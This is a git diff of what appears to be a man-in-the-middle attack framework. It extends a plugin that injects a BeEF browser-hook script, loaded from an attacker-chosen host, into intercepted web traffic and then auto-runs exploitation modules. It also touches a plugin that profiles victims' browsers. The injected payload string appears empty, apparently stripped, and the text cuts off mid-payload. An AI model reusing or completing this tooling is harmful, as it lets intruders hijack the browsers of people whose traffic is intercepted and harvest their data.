diff --git a/bdfactory b/bdfactory index 20fe713..815add3 160000 --- a/bdfactory +++ b/bdfactory @@ -1 +1 @@ -Subproject commit 20fe713d7818c60235ff65d8fc3988e4b464466c +Subproject commit 815add35f7db409bbc9faed898765272b93092a2 diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 25a4c9c..2b1ad2d 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -1,4 +1,5 @@ from plugins.plugin import Plugin +from plugins.Inject import Inject from time import sleep import sys import json @@ -15,19 +16,21 @@ requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Conne requests_log.setLevel(logging.WARNING) -class BeefAutorun(Plugin): +class BeefAutorun(Inject, Plugin): name = "BeEFAutorun" optname = "beefauto" has_opts = True - desc = "Autoruns BeEF modules based on Browser or OS type" + desc = "Injects BeEF hooks & autoruns modules based on Browser or OS type" def initialize(self, options): self.options = options - self.autoruncfg = options.autoruncfg or "./config_files/beefautorun.cfg" + self.autoruncfg = options.autoruncfg + self.hookip = options.hookip self.beefip = options.beefip self.beefport = options.beefport self.beefuser = options.beefuser self.beefpass = options.beefpass + self.dis_inject = options.dis_inject beef = beefapi.BeefAPI({"host": self.beefip, "port": self.beefport}) if beef.login(self.beefuser, self.beefpass): @@ -41,6 +44,13 @@ class BeefAutorun(Plugin): self.All_modules = userconfig["ALL"] self.Targeted_modules = userconfig["targets"] + if self.dis_inject: + if not self.hookip: + sys.exit("[-] BeEFAutorun requires --hookip") + Inject.initialize(self, options) + self.count_limit = 1 + self.html_payload = '' % (self.hookip, self.beefport) + print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) t.setDaemon(True) @@ -107,8 +117,10 @@ class BeefAutorun(Plugin): sleep(0.5) def add_options(self, options): + options.add_argument('--hookip', dest='hookip', help="Hook IP") options.add_argument('--beefip', dest='beefip', default='127.0.0.1', help="IP of BeEF's server [default: localhost]") options.add_argument('--beefport', dest='beefport', default='3000', help="Port of BeEF's server [default: 3000]") options.add_argument('--beefuser', dest='beefuser', default='beef', help='Username for beef [default: beef]') options.add_argument('--beefpass', dest='beefpass', default='beef', help='Password for beef [default: beef]') - options.add_argument('--autoruncfg', type=file, help='Specify a config file [default: beefautorun.cfg]') + options.add_argument('--autoruncfg', type=file, default="./config_files/beefautorun.cfg", help='Specify a config file [default: beefautorun.cfg]') + options.add_argument('--disable-inject', dest='dis_inject', action='store_true', default=True, help='Disables automatically injecting the hook url') diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index d9d4639..ec7f8d0 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -32,7 +32,7 @@ class BrowserProfiler(Inject, Plugin): if self.dic_output['plugin_list'] > 0: self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') pretty_output = pformat(self.dic_output) - logging.warning("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) + logging.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) def get_payload(self): payload = """